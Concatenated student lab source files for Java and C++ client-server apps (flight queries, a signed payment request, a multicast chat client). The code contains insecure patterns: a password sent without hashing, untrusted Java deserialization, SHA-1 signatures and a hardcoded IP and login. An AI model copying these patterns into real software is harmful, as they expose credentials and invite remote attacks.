throw new CommunicatorException("Communicator()->SendSerializable() : IOException : " + ex.getMessage());
}
}
//</editor-fold>
//<editor-fold defaultstate="collapsed" desc="Receive methods">
public String ReceiveMessage() throws CommunicatorException{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try{
do{
baos.write(dataInputStream.readByte());
}while(!baos.toString().endsWith("&FINI"));
}
catch(IOException e){
throw new CommunicatorException("Communicator->ReceiveMessage() : IO Error : " + e);
}
System.out.println(Arrays.toString(baos.toByteArray()));
String receivedMessage = baos.toString();
System.out.println("Communicator->ReceiveMessage() : message récupéré : " + receivedMessage);
receivedMessage = receivedMessage.substring(0, receivedMessage.indexOf("&FINI"));
return receivedMessage;
}
public <T extends Serializable> T receiveSerializable(Class<T> genericType) throws CommunicatorException {
try {
System.out.println("Communicator->receiveSerializable() : récupération d'un message...");
Object obj = objectInputStream.readObject();
return genericType.cast(obj);
}
catch( ClassNotFoundException | IOException ex) {
System.out.println("ERROR TYPE : " + ex.getClass().toString());
throw new CommunicatorException("Communicator()->receiveSerializable() : ClassNotFoundException|IOException : " + ex.getMessage());
}
}
//</editor-fold>
//<editor-fold defaultstate="collapsed" desc="Getter & Setter">
public void setSocket(Socket socket) {
this.socket = socket;
}
public Socket getSocket() {
return socket;
}
//</editor-fold>
}
<file_sep>/LaboReseauxBinome/Evaluation6/TICKMAP/src/tickmap/requete/RequeteTICKMAP_echange.java
package tickmap.requete;
import java.io.Serializable;
import java.security.PublicKey;
public class RequeteTICKMAP_echange extends RequeteTICKMAP implements Serializable{
private final PublicKey cleClient;
public RequeteTICKMAP_echange(PublicKey cle) {
super("KeyExchange", null);
this.cleClient = cle;
}
@Override
protected void doAction() {
}
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/cmake-build-debug/CMakeFiles/test_ERRN.dir/cmake_clean.cmake
file(REMOVE_RECURSE
"CMakeFiles/test_ERRN.dir/Tests/CsvExceptionTest.cpp.o"
"CMakeFiles/test_ERRN.dir/Exceptions/CsvException.cpp.o"
"CMakeFiles/test_ERRN.dir/Exceptions/PropertiesException.cpp.o"
"CMakeFiles/test_ERRN.dir/Exceptions/SocketException.cpp.o"
"CMakeFiles/test_ERRN.dir/Exceptions/ErrnoException.cpp.o"
"CMakeFiles/test_ERRN.dir/Exceptions/HostException.cpp.o"
"test_ERRN.pdb"
"test_ERRN"
)
# Per-language clean rules from dependency scanning.
foreach(lang CXX)
include(CMakeFiles/test_ERRN.dir/cmake_clean_${lang}.cmake OPTIONAL)
endforeach()
<file_sep>/final eclipse/Librairie/src/network/protocole/payp/requete/RequetePayp.java
package network.protocole.payp.requete;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException;
import network.communication.communicationException;
import network.crypto.*;
import network.protocole.payp.reponse.ReponsePayp;
import javax.crypto.Cipher;
import javax.crypto.NoSuchPaddingException;
import generic.server.ASecureRequete;
public class RequetePayp extends ASecureRequete
{
private static final long serialVersionUID = 1L;
/**
*
*/
private byte[] _creditCard;
private String _proprioName;
private int _transactionMontant;
private byte[] _signature;
public byte[] get_signature() {
return _signature;
}
public void set_signature(byte[] _signature) {
this._signature = _signature;
}
public RequetePayp()
{
super("","");
}
public RequetePayp(String creditCard,String proprio, int montant)
{
super("GetPayp","");
this._proprioName = proprio;
this._transactionMontant = montant;
try {
_creditCard = ACryptographieAsymetrique.decrypt(Cipher.getInstance("RSA/ECB/PKCS1Padding", "BC3"),network.crypto.ConverterObject.convertObjectToByte(creditCard) , this.getKeyPrivate());
ByteArrayOutputStream bos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(bos);
dos.writeUTF(_proprioName);
dos.writeInt(_transactionMontant);
dos.write(_creditCard);
dos.flush();
//"SHA1withRSA"
this._signature = ASignature.signMessage("SHA1withRSA", "RSA/ECB/PKCS1Padding", bos.toByteArray(), this.getKeyPrivate());
} catch (NoSuchAlgorithmException | NoSuchProviderException | NoSuchPaddingException | CryptographieAsymetriqueException e ) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (SignatureException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
protected void doAction() {
try {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(bos);
dos.writeUTF(this._proprioName);
dos.writeInt(this._transactionMontant);
dos.write(this._creditCard);
dos.flush();
boolean stateSignature = ASignature.verifySig("SHA1withRSA", "RSA/ECB/PKCS1Padding",bos.toByteArray() ,this.get_signature(), this.getKeyPublic());
if(stateSignature == true)
{
this.communication.send(ReponsePayp.OK());
}
else
{
this.communication.send(ReponsePayp.KO("error signature not sure"));
}
} catch (SignatureException | IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (communicationException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}<file_sep>/final eclipse/Librairie/src/network/protocole/lugap/requete/Requete_Vols.java
package network.protocole.lugap.requete;
import java.io.Serializable;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import database.entities.Vol;
import generic.server.ARequete;
import network.communication.communicationException;
import network.protocole.lugap.reponse.Reponse_Vols;
public class Requete_Vols extends ARequete implements Serializable {
/**
*
*/
private static final long serialVersionUID = 1L;
public Requete_Vols() {
super("GetFlight", "SELECT * "
+ "FROM flight "
+ "WHERE departure=CURDATE() "
+ "ORDER BY takeOffTime ASC");
}
@Override
protected void doAction() {
ArrayList<Vol> vols = new ArrayList<>();
try {
try {
ResultSet resultSet = this.database.executeQuery(this.sqlStatement);
System.out.println("\nToday's flights are : ");
while(resultSet.next()){
Vol vol = new Vol(resultSet.getInt("fk_idairplane"),
resultSet.getString("fk_idairline"),
resultSet.getDate("departure"),
resultSet.getString("destination"),
resultSet.getString("fk_idgeographiczone"),
resultSet.getInt("distance"),
resultSet.getTime("takeOffTime"),
resultSet.getTime("scheduledLanding"),
resultSet.getInt("seatsSold"),
resultSet.getDouble("price"),
resultSet.getString("piste")
);
vols.add(vol);
System.out.println(" Flight n°" + vols.size() + " : " + vol.toString());
}
System.out.println("-------");
this.reponse = Reponse_Vols.OK(vols);
traceEvent("GetFlight OK (flights found : " + vols.size() + ")");
} catch (SQLException ex) {
this.reponse = Reponse_Vols.KO("Erreur Serveur (SQL)");
traceEvent("Erreur SQL/BDD : " + ex.getMessage());
}
this.communication.send(this.reponse);
} catch (communicationException ex) {
traceEvent(ex.getMessage());
}
}
}
<file_sep>/LaboReseauxBinome/Evaluation5/Application_JIAChat/src/application_jiachat/JFrameApplication_JIAChat.java
package application_jiachat;
import communicator.Communicator;
import communicator.CommunicatorException;
import encryption.Encrypt;
import encryption.EncryptionException;
import java.awt.Color;
import java.io.IOException;
import java.net.InetAddress;
import java.net.Socket;
import java.util.Arrays;
import java.util.Date;
import java.util.LinkedList;
import java.util.Random;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.DefaultListModel;
import login.ConnectionException;
import login.ParentLoginFrame;
import network.Message;
import network.MulticastCommunicator;
import network.MulticastCommunicatorException;
import network.Reponse_LOGIN_GROUP;
import network.Requete_LOGIN_GROUP;
public class JFrameApplication_JIAChat extends ParentLoginFrame {
private final String separator = "#";
private final String finTrame = "&FINI";
private LinkedList<Message> messageList;
private DefaultListModel defaultListModel;
private ThreadReceptionMessage threadReceptionMessage;
private MulticastCommunicator communicatorMulti;
private String chat_IP;
private int chat_port;
/** Creates new form JFrameApplication_JIAChat */
public JFrameApplication_JIAChat() throws IOException {
initComponents();
this.jComboBoxType.addItem("Question");
this.jComboBoxType.addItem("Réponse");
this.jComboBoxType.addItem("Évenement");
this.jLabelMessage.setText("");
setIpAddress("10.59.22.45");
setPort("26050");
setLogin("laurent");
setPassword("<PASSWORD>");
showConnectionDialog();
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jButtonGroupFiltres = new javax.swing.ButtonGroup();
jScrollPane3 = new javax.swing.JScrollPane();
jTextaAreaMessageAEnvoyer = new javax.swing.JTextArea();
jButtonEnvoyer = new javax.swing.JButton();
jLabelMessage = new javax.swing.JLabel();
jComboBoxType = new javax.swing.JComboBox();
jLabelTitleListeMessage = new javax.swing.JLabel();
jLabelFiltre = new javax.swing.JLabel();
jRadioButtonFiltreTous = new javax.swing.JRadioButton();
jRadioButtonFiltreQuestion = new javax.swing.JRadioButton();
jRadioButtonFiltreReponse = new javax.swing.JRadioButton();
jRadioButtonFiltreInfos = new javax.swing.JRadioButton();
jLabelTypeNvMessage = new javax.swing.JLabel();
jLabelNouveauMessage = new javax.swing.JLabel();
jScrollPane1 = new javax.swing.JScrollPane();
jListMessages = new javax.swing.JList<>();
jMenuBar1 = new javax.swing.JMenuBar();
jMenuProfil = new javax.swing.JMenu();
jMenuItemDeconnexion = new javax.swing.JMenuItem();
setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE);
addWindowListener(new java.awt.event.WindowAdapter() {
public void windowClosing(java.awt.event.WindowEvent evt) {
formWindowClosing(evt);
}
});
jTextaAreaMessageAEnvoyer.setColumns(20);
jTextaAreaMessageAEnvoyer.setRows(5);
jScrollPane3.setViewportView(jTextaAreaMessageAEnvoyer);
jButtonEnvoyer.setText("Envoyer");
jButtonEnvoyer.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButtonEnvoyerActionPerformed(evt);
}
});
jLabelMessage.setFont(new java.awt.Font("Lucida Grande", 0, 14)); // NOI18N
jLabelMessage.setForeground(new java.awt.Color(0, 153, 0));
jLabelMessage.setText("jLabel1");
jLabelTitleListeMessage.setFont(new java.awt.Font("Lucida Grande", 1, 18)); // NOI18N
jLabelTitleListeMessage.setText("Chat : ");
jLabelFiltre.setText("Affichez : ");
jButtonGroupFiltres.add(jRadioButtonFiltreTous);
jRadioButtonFiltreTous.setMnemonic('1');
jRadioButtonFiltreTous.setSelected(true);
jRadioButtonFiltreTous.setText("Tous les messages");
jRadioButtonFiltreTous.addChangeListener(new javax.swing.event.ChangeListener() {
public void stateChanged(javax.swing.event.ChangeEvent evt) {
jRadioButtonFiltreTousjRadioButtonFiltreStateChanged(evt);
}
});
jButtonGroupFiltres.add(jRadioButtonFiltreQuestion);
jRadioButtonFiltreQuestion.setMnemonic('2');
jRadioButtonFiltreQuestion.setText("Les questions");
jRadioButtonFiltreQuestion.addChangeListener(new javax.swing.event.ChangeListener() {
public void stateChanged(javax.swing.event.ChangeEvent evt) {
jRadioButtonFiltreQuestionjRadioButtonFiltreStateChanged(evt);
}
});
jButtonGroupFiltres.add(jRadioButtonFiltreReponse);
jRadioButtonFiltreReponse.setMnemonic('3');
jRadioButtonFiltreReponse.setText("Les réponses");
jRadioButtonFiltreReponse.addChangeListener(new javax.swing.event.ChangeListener() {
public void stateChanged(javax.swing.event.ChangeEvent evt) {
jRadioButtonFiltreReponsejRadioButtonFiltreStateChanged(evt);
}
});
jButtonGroupFiltres.add(jRadioButtonFiltreInfos);
jRadioButtonFiltreInfos.setMnemonic('4');
jRadioButtonFiltreInfos.setText("Les messages Event");
jRadioButtonFiltreInfos.addChangeListener(new javax.swing.event.ChangeListener() {
public void stateChanged(javax.swing.event.ChangeEvent evt) {
jRadioButtonFiltreInfosjRadioButtonFiltreStateChanged(evt);
}
});
jLabelTypeNvMessage.setText("Type du message :");
jLabelNouveauMessage.setText("Nouveau message :");
jListMessages.setSelectionMode(javax.swing.ListSelectionModel.SINGLE_SELECTION);
jScrollPane1.setViewportView(jListMessages);
jMenuProfil.setText("Profil");
jMenuItemDeconnexion.setText("Déconnexion");
jMenuItemDeconnexion.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jMenuItemDeconnexionActionPerformed(evt);
}
});
jMenuProfil.add(jMenuItemDeconnexion);
jMenuBar1.add(jMenuProfil);
setJMenuBar(jMenuBar1);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGroup(layout.createSequentialGroup()
.addComponent(jLabelNouveauMessage)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 413, Short.MAX_VALUE)
.addComponent(jLabelTypeNvMessage)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jComboBoxType, javax.swing.GroupLayout.PREFERRED_SIZE, 199, javax.swing.GroupLayout.PREFERRED_SIZE))
.addComponent(jScrollPane3))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jButtonEnvoyer, javax.swing.GroupLayout.PREFERRED_SIZE, 125, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(layout.createSequentialGroup()
.addComponent(jLabelMessage)
.addGap(0, 0, Short.MAX_VALUE))
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jRadioButtonFiltreInfos)
.addComponent(jRadioButtonFiltreReponse)
.addComponent(jRadioButtonFiltreTous)
.addComponent(jRadioButtonFiltreQuestion)
.addComponent(jLabelFiltre))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jLabelTitleListeMessage)
.addGap(0, 0, Short.MAX_VALUE))
.addComponent(jScrollPane1))))
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(29, 29, 29)
.addComponent(jLabelTitleListeMessage)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jLabelFiltre)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jRadioButtonFiltreTous)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jRadioButtonFiltreQuestion)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jRadioButtonFiltreReponse)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jRadioButtonFiltreInfos))
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 448, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 71, Short.MAX_VALUE)
.addComponent(jLabelMessage)
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jComboBoxType, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabelNouveauMessage)
.addComponent(jLabelTypeNvMessage))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jScrollPane3, javax.swing.GroupLayout.PREFERRED_SIZE, 128, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(7, 7, 7))
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addComponent(jButtonEnvoyer)
.addGap(55, 55, 55))))
);
pack();
setLocationRelativeTo(null);
}// </editor-fold>//GEN-END:initComponents
private void formWindowClosing(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_formWindowClosing
try {
disconnect();
this.communicatorMulti.close();
} catch (ConnectionException ex) {
Logger.getLogger(JFrameApplication_JIAChat.class.getName()).log(Level.SEVERE, null, ex);
}
this.dispose();
System.exit(0);
}//GEN-LAST:event_formWindowClosing
private void jButtonEnvoyerActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButtonEnvoyerActionPerformed
this.jLabelMessage.setText("");
jTextaAreaMessageAEnvoyer.requestFocus();
if(jTextaAreaMessageAEnvoyer.getText().isEmpty()) {
this.jLabelMessage.setText("Erreur, le message à envoyer est vide!");
this.jLabelMessage.setForeground(Color.RED);
return;
}
boolean idIsUsed = true;
String tag = "";
Message message = null;
String msg = jTextaAreaMessageAEnvoyer.getText();
switch(jComboBoxType.getSelectedIndex()){
case 0: //Questions
// on génère un tag pour la nouvelle question
while(idIsUsed) {
idIsUsed = false;
Random rand = new Random();
tag = Integer.toString(rand.nextInt(99999));
// On verifie qu'une autre question n'est pas ouverte à ce tag
for(int i = 2; i < this.messageList.size() && !idIsUsed; i++)
if(this.messageList.get(i).getTag().equals(tag))
idIsUsed = true;
}
message = new Message(Message.UDP.POST_QUESTION, getLogin(), tag, msg, Encrypt.hash(msg));
break;
case 1: //Réponses
if(jListMessages.getSelectedValues().length==0 || jListMessages.getSelectedValues()[0]==null){
jLabelMessage.setText("Erreur, cliquez sur la question à laquelle vous voulez répondre!");
jLabelMessage.setForeground(Color.red);
return;
}
Message msgSelectionne;
msgSelectionne = (Message) jListMessages.getSelectedValues()[0];
if(msgSelectionne.getMessageType()!= Message.UDP.POST_QUESTION){
jLabelMessage.setText("Erreur, le message selectionné n'est pas une question!");
jLabelMessage.setForeground(Color.red);
return;
}
if(msgSelectionne.getDigest() != Encrypt.hash(msgSelectionne.getMessage())){
jLabelMessage.setText("Erreur, le digest de la question selectionnée n'est pas cohérent avec celui calculé!");
jLabelMessage.setForeground(Color.red);
return;
}
message = new Message(Message.UDP.ANSWER_QUESTION, getLogin(), msgSelectionne.getTag(), msg, msgSelectionne.getDigest());
break;
case 2: //Events
message = new Message(Message.UDP.POST_EVENT, getLogin(), "Info", msg, Encrypt.hash(msg));
break;
}
try {
this.communicatorMulti.sendMessage(message);
}
catch (MulticastCommunicatorException ex) {
jLabelMessage.setText("Une erreur est survenue lors de l'envoi. reessayez, et si ça continue, redemarrez");
jLabelMessage.setForeground(Color.RED);
return;
}
jLabelMessage.setText("Le message a bien été envoyé");
jLabelMessage.setForeground(Color.GREEN);
jComboBoxType.setSelectedIndex(0);
jListMessages.clearSelection();
jTextaAreaMessageAEnvoyer.setText("");
}//GEN-LAST:event_jButtonEnvoyerActionPerformed
private void change(){
this.defaultListModel.removeAllElements();
switch(jButtonGroupFiltres.getSelection().getMnemonic()){
case '1': //Tous
for(Message msg : messageList){
this.defaultListModel.addElement(msg);
}
break;
case '2': //Questions
for(Message msg : messageList){
if(msg.getMessageType()== Message.UDP.POST_QUESTION)
this.defaultListModel.addElement(msg);
}
break;
case '3': //Réponses
for(Message msg : messageList){
if(msg.getMessageType()== Message.UDP.ANSWER_QUESTION)
this.defaultListModel.addElement(msg);
}
break;
case '4': //Events
for(Message msg : messageList){
if(msg.getMessageType()== Message.UDP.POST_EVENT)
this.defaultListModel.addElement(msg);
}
break;
}
}
private void jRadioButtonFiltreTousjRadioButtonFiltreStateChanged(javax.swing.event.ChangeEvent evt) {//GEN-FIRST:event_jRadioButtonFiltreTousjRadioButtonFiltreStateChanged
change();
}//GEN-LAST:event_jRadioButtonFiltreTousjRadioButtonFiltreStateChanged
private void jRadioButtonFiltreQuestionjRadioButtonFiltreStateChanged(javax.swing.event.ChangeEvent evt) {//GEN-FIRST:event_jRadioButtonFiltreQuestionjRadioButtonFiltreStateChanged
change();
}//GEN-LAST:event_jRadioButtonFiltreQuestionjRadioButtonFiltreStateChanged
private void jRadioButtonFiltreReponsejRadioButtonFiltreStateChanged(javax.swing.event.ChangeEvent evt) {//GEN-FIRST:event_jRadioButtonFiltreReponsejRadioButtonFiltreStateChanged
change();
}//GEN-LAST:event_jRadioButtonFiltreReponsejRadioButtonFiltreStateChanged
private void jRadioButtonFiltreInfosjRadioButtonFiltreStateChanged(javax.swing.event.ChangeEvent evt) {//GEN-FIRST:event_jRadioButtonFiltreInfosjRadioButtonFiltreStateChanged
change();
}//GEN-LAST:event_jRadioButtonFiltreInfosjRadioButtonFiltreStateChanged
private void jMenuItemDeconnexionActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItemDeconnexionActionPerformed
try {
disconnect();
} catch (ConnectionException ex) {
Logger.getLogger(JFrameApplication_JIAChat.class.getName()).log(Level.SEVERE, null, ex);
}
}//GEN-LAST:event_jMenuItemDeconnexionActionPerformed
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
//<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
/* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
* For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
try {
for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
if ("Nimbus".equals(info.getName())) {
javax.swing.UIManager.setLookAndFeel(info.getClassName());
break;
}
}
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(JFrameApplication_JIAChat.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(JFrameApplication_JIAChat.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(JFrameApplication_JIAChat.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(JFrameApplication_JIAChat.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
/* Create and display the form */
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
try {
new JFrameApplication_JIAChat();
} catch (IOException ex) {
Logger.getLogger(JFrameApplication_JIAChat.class.getName()).log(Level.SEVERE, null, ex);
}
}
});
}
@Override
protected void connect() throws ConnectionException {
try{
Communicator communicator = null;
try {
Socket clientSocket = new Socket(this.getIpAddress(), Integer.parseInt(this.getPort()));
communicator = new Communicator(clientSocket);
double rand = Math.random();
long time= (new Date()).getTime();
// byte[] digestedPassword = Encrypt.saltDigest(this.getPassword(), time, rand);
byte[] digestedPassword = this.getPassword().getBytes();
Requete_LOGIN_GROUP requete = new Requete_LOGIN_GROUP(this.getLogin(), digestedPassword, time, rand);
communicator.SendMessage(requete.toNetworkString(separator));
String[] split = communicator.ReceiveMessage().split(this.separator);
Reponse_LOGIN_GROUP reponse = Reponse_LOGIN_GROUP.getInstance(split);
if(reponse==null){
System.err.println("Error parsing answer");
throw new ConnectionException("Error parsing answer");
}
if(!reponse.isSuccessful()){
System.err.println(reponse.getErrorMessage());
throw new ConnectionException(reponse.getErrorMessage());
}
this.chat_IP = reponse.getIp();
this.chat_port = reponse.getPort();
defaultListModel = new DefaultListModel();
this.messageList = new LinkedList<>();
this.jListMessages.setModel(this.defaultListModel);
try {
this.communicatorMulti = new MulticastCommunicator(InetAddress.getLocalHost(), InetAddress.getByName(this.chat_IP), this.chat_port, this.separator, this.finTrame);
String msg = "vient de se connecter";
Message message = new Message(Message.UDP.POST_EVENT, getLogin(), "Info", msg, Encrypt.hash(msg));
this.communicatorMulti.sendMessage(message);
jLabelMessage.setText("Connexion réussie");
jLabelMessage.setForeground(Color.GREEN);
this.threadReceptionMessage = new ThreadReceptionMessage(this, this.communicatorMulti, this.messageList);
this.threadReceptionMessage.start();
this.setVisible(true);
} catch (MulticastCommunicatorException ex) {
Logger.getLogger(JFrameApplication_JIAChat.class.getName()).log(Level.SEVERE, null, ex);
System.err.println(ex.getMessage());
this.dispose();
}
} catch (NumberFormatException | IOException /*| EncryptionException */ ex) {
throw new ConnectionException(ex.getMessage());
}
communicator.close();
}catch(CommunicatorException ex){
throw new ConnectionException(ex.getMessage());
}
}
@Override
protected void disconnect() throws ConnectionException {
String msg = "vient de se deconnecter";
Message message = new Message(Message.UDP.POST_EVENT, getLogin(), "Info", msg, Encrypt.hash(msg));
try {
this.communicatorMulti.sendMessage(message);
}
catch (MulticastCommunicatorException ex) {
System.err.println("jMenuItemDeconnexionActionPerformed->MulticastCommunicatorException : " + ex.getMessage());
}
this.messageList.clear();
this.jTextaAreaMessageAEnvoyer.setText("");
this.defaultListModel.clear();
this.jListMessages.invalidate();
this.threadReceptionMessage.doStop();
this.communicatorMulti.close();
this.setVisible(false);
showConnectionDialog();
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton jButtonEnvoyer;
private javax.swing.ButtonGroup jButtonGroupFiltres;
private javax.swing.JComboBox jComboBoxType;
private javax.swing.JLabel jLabelFiltre;
private javax.swing.JLabel jLabelMessage;
private javax.swing.JLabel jLabelNouveauMessage;
private javax.swing.JLabel jLabelTitleListeMessage;
private javax.swing.JLabel jLabelTypeNvMessage;
private javax.swing.JList<String> jListMessages;
private javax.swing.JMenuBar jMenuBar1;
private javax.swing.JMenuItem jMenuItemDeconnexion;
private javax.swing.JMenu jMenuProfil;
private javax.swing.JRadioButton jRadioButtonFiltreInfos;
private javax.swing.JRadioButton jRadioButtonFiltreQuestion;
private javax.swing.JRadioButton jRadioButtonFiltreReponse;
private javax.swing.JRadioButton jRadioButtonFiltreTous;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JScrollPane jScrollPane3;
private javax.swing.JTextArea jTextaAreaMessageAEnvoyer;
// End of variables declaration//GEN-END:variables
void refreshMessageList() {
boolean add = false;
Message message = null;
if(!this.messageList.isEmpty()){
message = this.messageList.get(this.messageList.size()-1);
System.out.println(jButtonGroupFiltres.getSelection().getMnemonic());
switch(jButtonGroupFiltres.getSelection().getMnemonic()){
case '1': //Tous
add = true;
break;
case '2': //Questions
if(message.getMessageType()== Message.UDP.POST_QUESTION)
add = true;
break;
case '3': //Réponses
if(message.getMessageType()== Message.UDP.ANSWER_QUESTION)
add = true;
break;
case '4': //Events
if(message.getMessageType()== Message.UDP.POST_EVENT)
add = true;
break;
}
}
if(add)
this.defaultListModel.addElement(message);
}
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/cmake-build-debug/CMakeFiles/test_CsvException.dir/cmake_clean.cmake
file(REMOVE_RECURSE
"CMakeFiles/test_CsvException.dir/Tests/CsvExceptionTest.cpp.o"
"CMakeFiles/test_CsvException.dir/Exceptions/CsvException.cpp.o"
"CMakeFiles/test_CsvException.dir/Exceptions/PropertiesException.cpp.o"
"CMakeFiles/test_CsvException.dir/Exceptions/SocketException.cpp.o"
"CMakeFiles/test_CsvException.dir/Exceptions/ErrnoException.cpp.o"
"CMakeFiles/test_CsvException.dir/Exceptions/HostException.cpp.o"
"CMakeFiles/test_CsvException.dir/Exceptions/CIMPException.cpp.o"
"test_CsvException.pdb"
"test_CsvException"
)
# Per-language clean rules from dependency scanning.
foreach(lang CXX)
include(CMakeFiles/test_CsvException.dir/cmake_clean_${lang}.cmake OPTIONAL)
endforeach()
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/cmake-build-debug/CMakeFiles/testExec.dir/cmake_clean.cmake
file(REMOVE_RECURSE
"CMakeFiles/testExec.dir/Tests/CsvExceptionTest.cpp.o"
"CMakeFiles/testExec.dir/Exceptions/CsvException.cpp.o"
"testExec.pdb"
"testExec"
)
# Per-language clean rules from dependency scanning.
foreach(lang CXX)
include(CMakeFiles/testExec.dir/cmake_clean_${lang}.cmake OPTIONAL)
endforeach()
<file_sep>/part_3/Application_Bagages/src/Socket/RequestBagage.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package Socket;
import java.io.Serializable;
/**
*
* @author jona1993
*/
public class RequestBagage implements Serializable {
private int numero;
private int poids;
private boolean valise;
public RequestBagage() {
numero = 0;
poids = 0;
valise = false;
}
public RequestBagage(int numero, int poids, boolean valise) {
this.numero = numero;
this.poids = poids;
this.valise = valise;
}
//<editor-fold defaultstate="collapsed" desc=" Gets / Sets ">
public void setNumero(int numero) {
this.numero = numero;
}
public void setPoids(int poids) {
this.poids = poids;
}
public void setValise(boolean valise) {
this.valise = valise;
}
public int getNumero() {
return numero;
}
public int getPoids() {
return poids;
}
public boolean getValise() {
return valise;
}
//</editor-fold>
}
<file_sep>/LaboReseauxBinome/Evaluation5/Application_CIAChat/Application_CIAChat_IN.h
#ifndef APPLICATION_CIACHAT_APPLICATION_CIACHAT_IN_H
#define APPLICATION_CIACHAT_APPLICATION_CIACHAT_IN_H
#include <iostream>
#include <string>
#include <chrono>
#include <random>
#include <cfloat>
#include <vector>
#include "../../Evaluation1/Librairies/SocketUtilities/HostInfo.h"
#include "../../Evaluation1/Librairies/SocketUtilities/ClientSocket.h"
#include "../../Evaluation1/Librairies/Properties/Properties.h"
#include "ClientException.h"
#include "IACOP.h"
#include "QuitApp.h"
#include "Message.h"
#include "MulticastSocket.h"
#include "ThreadReception.h"
#define affEmptyLine() std::cout << std::endl
#define affOut(msg) std::cout << "\e[34;1m[" << __FUNCTION__ << "] \e[34;0m" << msg << "\e[0m" << std::endl
